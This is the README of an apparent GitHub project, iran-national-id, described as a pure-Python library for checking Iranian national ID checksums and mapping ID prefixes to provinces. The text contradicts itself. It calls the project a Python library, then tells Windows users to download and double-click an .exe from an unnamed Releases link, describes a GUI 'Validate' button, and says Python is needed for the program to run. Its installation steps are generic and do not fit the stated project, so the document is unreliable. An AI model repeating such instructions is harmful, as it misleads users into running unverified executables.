Welcome to the iran-national-id project! This software helps you validate and decode Iranian national IDs using simple functions. It checks the ID's checksum and references the issuance city or province based on the ID's prefix. Here’s how to get started.

• Operating System: Windows, macOS, or Linux
• Python Version: 3.6 or higher
• Disk Space: Approximately 10 MB
• Internet Connection: Required for downloading and updating

• Checksum Validation: Verify the integrity of Iranian national IDs.
• City/Province Mapping: Easily identify where an ID was issued.
• JSON Dataset: Includes an extensive dataset for accurate validation.
• Pure Python: Written entirely in Python for ease of use.
• Lightweight: Minimal system resources required.

• Checksum
• Civic Tech
• Dataset
• Iranian National IDs
• JSON
• Validation
• Regular Expressions (Regex)
• Testing with Pytest
• Style with Ruff

To download the software, visit the Releases page: Download Releases.

1. Click the link above.
2. You will see a list of available releases. Choose the latest version.
3. Download the file that matches your operating system:
   • For Windows, download the file that ends with .exe.
   • For macOS/Linux, download the .tar.gz or .zip file.
4. Once downloaded, follow these steps to run the software:
   • For Windows, double-click the .exe file.
   • For macOS, use the terminal to extract the files and run the program.
   • For Linux, extract the files using the terminal and run the program.

After installation, you can start using the application.

1. Open the software.
2. Enter the Iranian national ID you wish to validate.
3. Click the “Validate” button.
4. The application will display whether the ID is valid and show the associated city or province.

Q: What do I do if the software does not run?
A: Ensure that you have Python installed on your system. If you still face issues, check the FAQs in the documentation.

Q: Can I contribute to this project?
A: Yes! We welcome contributions. Check the “Contributing” section on our GitHub page for more details.

If you need help or have questions, feel free to reach out. You can create an issue in the GitHub repository, and our community will assist you.

• GitHub Repository
• Documentation

Thank you for using iran-national-id! Enjoy validating Iranian national IDs with ease.